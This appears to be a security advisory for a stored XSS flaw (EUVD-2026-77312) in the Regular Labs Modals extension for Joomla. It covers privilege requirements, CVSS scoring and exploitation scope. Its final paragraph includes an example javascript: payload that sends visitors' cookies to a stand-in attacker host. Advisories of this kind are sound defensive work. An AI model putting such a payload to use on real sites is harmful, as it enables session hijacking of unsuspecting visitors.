Regular Labs Modals EUVD-2026-77312

Exploitation requires a Joomla user account with content-authoring privileges at editor level or higher (captured by PR:H in the CVSS vector), sufficient to create or edit a modal entry in the Modals extension. No non-default server configuration, special plugin mode, or additional extension feature needs to be enabled - the vulnerability is present in the default installation of both the free and pro editions. Exploitation is limited by: (1) the attacker must hold or obtain a high-privilege Joomla account; (2) the stored payload only fires when a site visitor browses to a page that renders the affected modal; and (3) Joomla deployments that restrict authoring rights exclusively to vetted internal administrators face no meaningful external threat from this flaw.

The CVSS 4.0 base score of 7.5 (AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:L) reflects high downstream confidentiality and integrity impact but is substantially constrained by PR:H - requiring an authenticated, high-privilege Joomla authoring account. This significantly narrows the attack surface compared to unauthenticated or low-privilege stored XSS findings. The stored nature of the vulnerability elevates the downstream blast radius: once a payload is planted, it fires passively for every visitor who loads the affected page, making the victim population potentially large even though the attacker population is small. The CVSS 4.0 UI:N metric is debatable; passive page visitation by the victim is typically modeled as UI:P in CVSS 4.0, suggesting the vector mildly understates required victim interaction. No KEV listing, public exploit code, or EPSS score is available, indicating no observed mass exploitation at time of analysis. Risk is most elevated on multi-tenant Joomla installations where untrusted or externally-controlled accounts hold editor or higher roles.

A Joomla editor or administrator sets a modal destination field to a javascript: payload such as javascript:fetch('https://attacker.example/c?s='+document.cookie). The Modals extension stores this value without scheme validation and emits it verbatim into the rendered page's anchor href and iframe src attributes. Every subsequent visitor who loads that page triggers the JavaScript in their own browsing session, enabling session token exfiltration or forced redirection. No public exploit code has been identified at time of analysis.